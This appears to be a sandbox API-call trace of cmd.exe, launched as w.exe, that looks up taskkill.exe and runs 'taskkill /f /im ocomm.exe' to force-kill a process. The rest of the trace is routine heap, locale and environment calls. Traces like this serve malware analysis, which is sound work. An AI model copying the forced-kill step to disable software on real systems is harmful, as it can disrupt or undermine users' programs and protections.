	[0041.391] GetProcessHeap () returned 0x4b0000
	[0041.391] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x72) returned 0x4d2a58
	[0041.391] GetProcessHeap () returned 0x4b0000
	[0041.391] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xd8) returned 0x4c2de8
	[0041.392] GetProcessHeap () returned 0x4b0000
	[0041.392] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c2de8, Size=0x72) returned 0x4c2de8
	[0041.392] GetProcessHeap () returned 0x4b0000
	[0041.392] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c2de8) returned 0x72
	[0041.392] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.392] GetProcessHeap () returned 0x4b0000
	[0041.392] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe0) returned 0x4c2e68
	[0041.395] GetProcessHeap () returned 0x4b0000
	[0041.395] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c2e68, Size=0x76) returned 0x4c2e68
	[0041.395] GetProcessHeap () returned 0x4b0000
	[0041.395] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c2e68) returned 0x76
	[0041.395] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0041.395] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im ocomm.exe ", fInfoLevelId=0x1, lpFindFileData=0x3af2f4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af2f4) returned 0xffffffff
	[0041.396] GetLastError () returned 0x3
	[0041.396] GetProcessHeap () returned 0x4b0000
	[0041.396] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4caa20 | out: hHeap=0x4b0000) returned 1
	[0041.396] GetProcessHeap () returned 0x4b0000
	[0041.396] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cea30 | out: hHeap=0x4b0000) returned 1
	[0041.396] GetProcessHeap () returned 0x4b0000
	[0041.396] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6a08 | out: hHeap=0x4b0000) returned 1
	[0041.396] GetConsoleOutputCP () returned 0x1b5
	[0041.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a324260 | out: lpCPInfo=0x4a324260) returned 1
	[0041.396] GetUserDefaultLCID () returned 0x409
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a324950, cchData=8 | out: lpLCData=":") returned 2
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3af720, cchData=128 | out: lpLCData="0") returned 2
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3af720, cchData=128 | out: lpLCData="0") returned 2
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3af720, cchData=128 | out: lpLCData="1") returned 2
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a324940, cchData=8 | out: lpLCData="/") returned 2
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a324d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a324d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a324d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a324cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a324c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a324c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a324c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a324930, cchData=8 | out: lpLCData=".") returned 2
	[0041.397] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a324920, cchData=8 | out: lpLCData=",") returned 2
	[0041.397] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0041.399] GetProcessHeap () returned 0x4b0000
	[0041.399] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20c) returned 0x4c2f20
	[0041.399] GetConsoleTitleW (in: lpConsoleTitle=0x4c2f20, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0041.399] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0041.399] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0041.399] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0041.399] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0041.399] GetProcessHeap () returned 0x4b0000
	[0041.400] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400a) returned 0x4c6a08
	[0041.400] GetProcessHeap () returned 0x4b0000
	[0041.400] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6a08 | out: hHeap=0x4b0000) returned 1
	[0041.400] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0041.400] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0041.400] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0041.400] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0041.400] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0041.400] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0041.400] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0041.400] GetProcessHeap () returned 0x4b0000
	[0041.400] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x58) returned 0x4c3138
	[0041.400] GetProcessHeap () returned 0x4b0000
	[0041.400] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1a) returned 0x4c5708
	[0041.401] GetProcessHeap () returned 0x4b0000
	[0041.401] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2e) returned 0x4c3198
	[0041.401] GetConsoleTitleW (in: lpConsoleTitle=0x3af418, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0041.402] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0041.402] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0041.402] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0041.402] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0041.402] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0041.402] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0041.402] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0041.402] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0041.402] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0041.402] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0041.402] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0041.402] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0041.402] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0041.402] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0041.402] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0041.402] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0041.402] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0041.402] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0041.402] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0041.402] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0041.402] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0041.402] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0041.403] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0041.403] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0041.403] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0041.403] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0041.403] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0041.403] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0041.403] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0041.403] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0041.403] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0041.403] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0041.403] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0041.403] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0041.403] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0041.403] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0041.403] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0041.403] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0041.403] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0041.403] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0041.403] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0041.403] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0041.403] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0041.403] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0041.403] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0041.403] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0041.403] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0041.403] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0041.403] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0041.403] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0041.403] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0041.403] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0041.403] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0041.403] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0041.403] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0041.403] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0041.403] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0041.404] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0041.404] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0041.404] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0041.404] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0041.404] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0041.404] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0041.404] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0041.404] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0041.404] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0041.404] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0041.404] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0041.404] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0041.404] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0041.404] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0041.404] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0041.404] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0041.404] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0041.404] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0041.404] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0041.404] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0041.404] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0041.404] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0041.404] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0041.404] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0041.404] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0041.404] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0041.404] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0041.404] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0041.404] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0041.404] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x210) returned 0x4c31d0
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x40) returned 0x4c33e8
	[0041.405] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x418) returned 0x4b07f0
	[0041.405] SetErrorMode (uMode=0x0) returned 0x8003
	[0041.405] SetErrorMode (uMode=0x1) returned 0x0
	[0041.405] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b07f8, lpFilePart=0x3aef38 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3aef38*="Desktop") returned 0x25
	[0041.405] SetErrorMode (uMode=0x8003) returned 0x1
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.405] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b07f0, Size=0x66) returned 0x4b07f0
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.405] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b07f0) returned 0x66
	[0041.405] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0041.405] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x120) returned 0x4c3430
	[0041.405] GetProcessHeap () returned 0x4b0000
	[0041.406] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x238) returned 0x4b0860
	[0041.407] GetProcessHeap () returned 0x4b0000
	[0041.407] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b0860, Size=0x122) returned 0x4b0860
	[0041.407] GetProcessHeap () returned 0x4b0000
	[0041.407] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b0860) returned 0x122
	[0041.407] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.407] GetProcessHeap () returned 0x4b0000
	[0041.407] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe0) returned 0x4b0990
	[0041.407] GetProcessHeap () returned 0x4b0000
	[0041.407] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b0990, Size=0x76) returned 0x4b0990
	[0041.408] GetProcessHeap () returned 0x4b0000
	[0041.408] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b0990) returned 0x76
	[0041.408] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0041.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aecb4) returned 0xffffffff
	[0041.408] GetLastError () returned 0x2
	[0041.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3aecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aecb4) returned 0xffffffff
	[0041.408] GetLastError () returned 0x2
	[0041.408] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0041.408] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aecb4) returned 0x4c3558
	[0041.408] GetProcessHeap () returned 0x4b0000
	[0041.408] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4b0a10
	[0041.408] FindClose (in: hFindFile=0x4c3558 | out: hFindFile=0x4c3558) returned 1
	[0041.408] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3aecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aecb4) returned 0xffffffff
	[0041.409] GetLastError () returned 0x2
	[0041.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3aecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aecb4) returned 0x4c3558
	[0041.409] GetProcessHeap () returned 0x4b0000
	[0041.409] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b0a10, Size=0x4) returned 0x4b0a10
	[0041.409] FindClose (in: hFindFile=0x4c3558 | out: hFindFile=0x4c3558) returned 1
	[0041.409] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0041.409] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0041.409] GetConsoleTitleW (in: lpConsoleTitle=0x3af1ac, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0041.409] InitializeProcThreadAttributeList (in: lpAttributeList=0x3af034, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3af0fc | out: lpAttributeList=0x3af034, lpSize=0x3af0fc) returned 1
	[0041.409] UpdateProcThreadAttribute (in: lpAttributeList=0x3af034, dwFlags=0x0, Attribute=0x60001, lpValue=0x3af0f4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3af034, lpPreviousValue=0x0) returned 1
	[0041.409] GetStartupInfoW (in: lpStartupInfo=0x3aeff0 | out: lpStartupInfo=0x3aeff0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0041.409] GetProcessHeap () returned 0x4b0000
	[0041.409] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x18) returned 0x4c3558
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0041.409] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0041.410] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0041.410] GetProcessHeap () returned 0x4b0000
	[0041.410] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c3558 | out: hHeap=0x4b0000) returned 1
	[0041.410] GetProcessHeap () returned 0x4b0000
	[0041.410] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa) returned 0x4bfed8
	[0041.410] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0041.412] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im ocomm.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3af090*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im ocomm.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3af0dc | out: lpCommandLine="taskkill  /f /im ocomm.exe ", lpProcessInformation=0x3af0dc*(hProcess=0x78, hThread=0x74, dwProcessId=0xaf4, dwThreadId=0x3d0)) returned 1
	[0041.417] CloseHandle (hObject=0x74) returned 1
	[0041.417] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0041.417] GetProcessHeap () returned 0x4b0000
	[0041.417] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5ec8 | out: hHeap=0x4b0000) returned 1
	[0041.417] GetEnvironmentStringsW () returned 0x4d4a40*
	[0041.417] GetProcessHeap () returned 0x4b0000
	[0041.417] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb36) returned 0x4c4088
	[0041.417] FreeEnvironmentStringsW (penv=0x4d4a40) returned 1
	[0041.417] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0041.720] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3aefd0 | out: lpExitCode=0x3aefd0*=0x80) returned 1
	[0041.720] CloseHandle (hObject=0x78) returned 1
	[0041.720] _vsnwprintf (in: _Buffer=0x3af118, _BufferCount=0x13, _Format="%08X", _ArgList=0x3aefdc | out: _Buffer="00000080") returned 8
	[0041.720] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0041.720] GetProcessHeap () returned 0x4b0000
	[0041.720] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4088 | out: hHeap=0x4b0000) returned 1
	[0041.720] GetEnvironmentStringsW () returned 0x4c4088*
	[0041.720] GetProcessHeap () returned 0x4b0000
	[0041.720] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb5c) returned 0x4c5ec8
	[0041.720] FreeEnvironmentStringsW (penv=0x4c4088) returned 1
	[0041.720] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0041.720] GetProcessHeap () returned 0x4b0000
	[0041.720] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5ec8 | out: hHeap=0x4b0000) returned 1
	[0041.720] GetEnvironmentStringsW () returned 0x4c4088*
	[0041.720] GetProcessHeap () returned 0x4b0000
	[0041.720] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb5c) returned 0x4c5ec8
	[0041.720] FreeEnvironmentStringsW (penv=0x4c4088) returned 1
	[0041.720] GetProcessHeap () returned 0x4b0000
	[0041.720] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4bfed8 | out: hHeap=0x4b0000) returned 1
	[0041.720] DeleteProcThreadAttributeList (in: lpAttributeList=0x3af034 | out: lpAttributeList=0x3af034) 
	[0041.720] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0041.720] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0041.720] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0041.720] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a3241ac | out: lpMode=0x4a3241ac) returned 0
	[0041.721] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0041.721] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a3241b0 | out: lpMode=0x4a3241b0) returned 0
	[0041.721] GetConsoleOutputCP () returned 0x1b5
	[0041.721] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a324260 | out: lpCPInfo=0x4a324260) returned 1
	[0041.721] SetThreadUILanguage (LangId=0x0) returned 0x409
